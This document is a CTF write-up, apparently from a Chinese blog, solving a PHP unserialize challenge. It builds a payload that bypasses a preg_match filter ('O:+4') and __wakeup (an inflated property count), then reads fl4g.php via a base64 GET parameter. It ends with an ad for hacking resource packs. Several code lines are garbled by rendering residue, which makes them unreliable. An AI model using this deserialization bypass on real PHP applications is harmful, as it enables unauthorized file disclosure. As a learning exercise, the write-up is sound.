if (isset($_GET[‘var’])) { //检查是否通过get方式传参
v
a
r
=
b
a
s
e
6
4
d
e
c
o
d
e
(
var = base64_decode(
var=base64decode(_GET[‘var’]); //将var通过base64编码
if (preg_match(‘/[oc]:\d+:/i’, KaTeX parse error: Expected '}', got 'EOF' at end of input: … @unserialize(var);
}
} else {
highlight_file(“index.php”);
}
?>
思路:构造参数使fl4g.php层层伪装,最后通过get方式将参数赋值给var,便可得到flag
### 二、基础知识
#### 1、魔术函数
\_construct 构造函数,实例化对象使自动调用该函数
\_destruct析构函数,该函数会在类的一个对象被删除时自动调用。
\_wakeup函数,在反序列化之前调用该函数,但是如果序列化字符串中表示对象属性个数的值大于真实的属性个数时就会跳过\_wakeup函数。
#### 2、常见php函数
str\_replace函数,替换字符串(区分大小写),后面会用到来写php脚本
preg\_match正则匹配函数,用于匹配字符串中是否有特定字符
### 三、解题步骤
要想得到fl4g.php,需要满足以下条件:
#### 1、绕过preg\_match函数
>
> `if (isset($_GET['var'])) {
> $var = base64_decode($_GET['var']);
> if (preg_match('/[oc]:\d+:/i', $var)) {
> die('stop hacking!');
> } else {
> @unserialize($var);`
> `}`
>
>
>
首先将字符串"fl4g.php"序列化,可以直接手写,也可以用php脚本来执行
脚本如下:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $A=new Demo("fl4g.php"); $C=serialize($A); echo $C; ?>
得到的结果:
![](https://img-blog.csdnimg.cn/direct/4393ed200484436c8b56375663f0b687.png)
可以看到的是,序列化之后的结果有两个特殊字符,这是由于file是private属性的,序列化之后会在其前后有空格,即%00,protect属性的变量也类似。
我们看看上面fl4g.php序列化的结果:
1. `O:4:"Demo"`:这部分表示一个对象,其类名为"Demo"。对象序列化的长度为4。
2. `:1:`:表示这个对象有1个属性或成员。
3. **`{s:10:" Demo file";s:8:"fl4g.php";}`**:这是对象的成员。
* `s:10:" Demo file"`:表示一个字符串,长度为10,内容为" Demo file"。
* `s:8:"fl4g.php"`:表示另一个字符串,长度为8,内容为"fl4g.php"。
所以,这个序列化字符串表示一个名为"Demo"的类的一个实例,该实例有一个属性,其中第一个属性是一个长度为10的字符串" Demo file",第二个属性是一个长度为8的字符串"fl4g.php"。
现在来分析**`preg_match('/[oc]:\d+:/i', $var)`**
* **[oc]**:这是一个字符集,表示匹配其中的任何一个字符,即"o"或"c"。
* **:**:这是一个普通字符,表示直接匹配":"字符。
* **\d+**:这是一个量词,表示匹配一个或多个数字。
* **:**:再次,这是一个普通字符,表示直接匹配":"字符。
* **i**:这是一个修饰符,表示匹配时不区分大小写。
综上,能被该函数过滤的有“o:数字:”或者“c:数字:”,我们要想绕过preg\_match()函数,就只要不满足上述条件即可,函数想过滤”O:4“,我们只要稍微修改一下改成”O:+4“就行。
执行代码如下:
C = s t r r e p l a c e ( ′ O : 4 ′ , ′ O : + 4 ′ , C = str_replace('O:4', 'O:+4', C=strreplace(′O:4′,′O:+4′,C);
#### 2、绕过\_wakeup()函数
前面我们讲了,如果序列化字符串中表示对象属性个数的值大于真实的属性个数时就会跳过\_wakeup函数,那么,我们只需要将对象属性的个数增大即可
![](https://img-blog.csdnimg.cn/direct/524165df09b84f279659142d4064e5cf.png)
我们将1改为其他数就行,这里我们改为2,代码如下:
C = s t r r e p l a c e ( ′ : 1 : ′ , ′ : 2 : ′ , C = str_replace(':1:', ':2:', C=strreplace(′:1:′,′:2:′,C);//绕过wakeup
#### 3、必须是base64加密
将上述代码执行得到的结果为
![](https://img-blog.csdnimg.cn/direct/e10136cad24540ad9b016ff4deab17c8.png)
可以看到还是有空格键的存在,选择复制,发现复制不了,刚开始想的是,手工将空格添上,再base64加密,后来发现不行,结果不对。
于是采用代码来执行base64的加密:
C = b a s e 6 4 e n c o d e ( C=base64_encode( C=base64encode(C);
执行得到的base64加密如下:
>
> TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
>
>
>
#### 4、get方式传参得flag
>
> /?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
>
>
>
得到flag
![](https://img-blog.csdnimg.cn/direct/980099c45ace4390892cebad8f1025d9.png)
### 给大家的福利
**零基础入门**
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)
同时每个成长路线对应的板块都有配套的视频提供:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)
因篇幅有限,仅展示部分资料
网络安全面试题
![](https://img-blog.csdnimg.cn/img_convert/80674985176a4889f7bb130756893764.png)
绿盟护网行动
![](https://img-blog.csdnimg.cn/img_convert/9f3395407120bb0e1b5bf17bb6b6c743.png)
还有大家最喜欢的黑客技术
![](https://img-blog.csdnimg.cn/img_convert/5912337446dee53639406fead3d3f03c.jpeg)
**网络安全源码合集+工具包**
![](https://img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)
![](https://img-blog.csdnimg.cn/img_convert/4a5f4281817dc4613353c120c9543810.png)
**所有资料共282G**,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~